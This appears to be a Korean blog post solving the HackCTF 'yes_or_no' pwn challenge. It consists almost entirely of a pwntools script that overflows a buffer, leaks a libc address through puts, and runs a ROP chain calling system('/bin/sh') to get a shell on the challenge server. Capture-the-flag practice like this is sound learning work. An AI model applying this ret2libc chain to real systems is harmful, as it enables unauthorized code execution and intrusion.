yes_or_no

728x90
from pwn import *
context.log_level = 'debug'

p = remote("ctf.j0n9hyun.xyz" ,3009)
e = ELF('./yes_or_no')
libc = ELF('libc-2.27.so')

pr = 0x400883
#오프셋은 libc database search 이용
puts_plt = e.plt['puts']
puts_got = e.got['puts']
system_offset = 0x04f440
binsh_offset = 0x1b3e9a
puts_offset = 0x0809c0
ret = 0x400611

p.recvuntil("number~!")
p.sendline("9830400")
p.recvuntil("me")

payload = "A"*26
payload += p64(pr)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(e.symbols['main'])
p.sendline(payload)

p.recvuntil("\\n")
leak_addr = u64(str(p.recv(6) + '\\x00\\x00')) #이  주소가 정석
leak_addr1 = u64(p.recv(8)) # 이 주소는 내가 구한 방식. 잘못되었음.
leak_base = leak_addr - puts_offset
system = leak_base + system_offset
binsh = leak_base + binsh_offset

log.info('leak_addr : ' + str(hex(leak_addr)))
log.info('leak_addr1 : ' + str(hex(leak_addr1)))
p.recvuntil("number~!")
p.sendline("9830400")
p.recvuntil("me\\n")

payload1 = "A"*26
payload1 += p64(pr)
payload1 += p64(binsh) # binsh를 pop하기 위해서.
payload1 += p64(ret) #ret을 넣어주는 이유?
payload1 += p64(system) # system함수를 실행
p.sendline(payload1)
p.interactive()
728x90

'HackCTF' 카테고리의 다른 글

풍수지리설  (0) 2022.01.13
HackCTF - RTC  (0) 2022.01.06
ROP  (0) 2021.12.30
You_are_silver  (0) 2021.12.30
Pwning  (0) 2021.12.30